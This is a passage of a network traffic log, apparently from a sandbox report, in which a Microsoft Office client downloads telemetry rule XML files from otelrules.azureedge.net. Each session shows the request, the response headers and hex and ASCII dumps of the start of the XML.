2024-11-20 20:05:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-r1d97b99577hsvhhhC1TEByb1w00000003p0000000007d0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200537Z-185f5d8b95cdtclvhC1NYC4rmc0000000as0000000014svc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200538Z-1777c6cb754n67brhC1TEBcp9c0000000a0000000000xzaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200538Z-1777c6cb754mqztshC1TEB4mkc0000000a1000000000r89r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200538Z-r1d97b99577sdxndhC1TEBec5n00000009hg000000001hn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200538Z-1777c6cb7544nvmshC1TEBf7qc00000009xg000000008xhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200539Z-178bfbc474bbbqrhhC1NYCvw7400000000mg00000000kfbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:40 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200540Z-178bfbc474bbbqrhhC1NYCvw7400000000m000000000mc8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:40 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200540Z-185f5d8b95cqnkdjhC1NYCm8w80000000ag000000000zg59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a8ea751-101e-007a-417b-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200541Z-178bfbc474btvfdfhC1NYCa2en00000000gg000000005r9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200541Z-185f5d8b95crwqd8hC1NYCps680000000as000000000b2d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
